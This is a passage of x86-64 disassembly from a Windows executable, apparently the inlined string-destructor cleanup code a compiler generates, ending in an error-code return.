jb 0x1400072f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x528], rdi
mov qword [rbp + 0x530], 0xf
mov byte [rbp + 0x518], 0
mov rdx, qword [rbp + 0x4e8]
cmp rdx, 0xf
jbe 0x140007358
inc rdx
mov rcx, qword [rbp + 0x4d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007352
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007352
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov qword [rbp + 0x4e0], rdi
mov qword [rbp + 0x4e8], 0xf
mov byte [rbp + 0x4d0], 0
mov rdx, qword [rbp + 0x550]
cmp rdx, 0xf
jbe 0x1400073b6
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400073b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400073b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000bebc
nop
mov eax, 0xfffffffa
jmp 0x1400049dc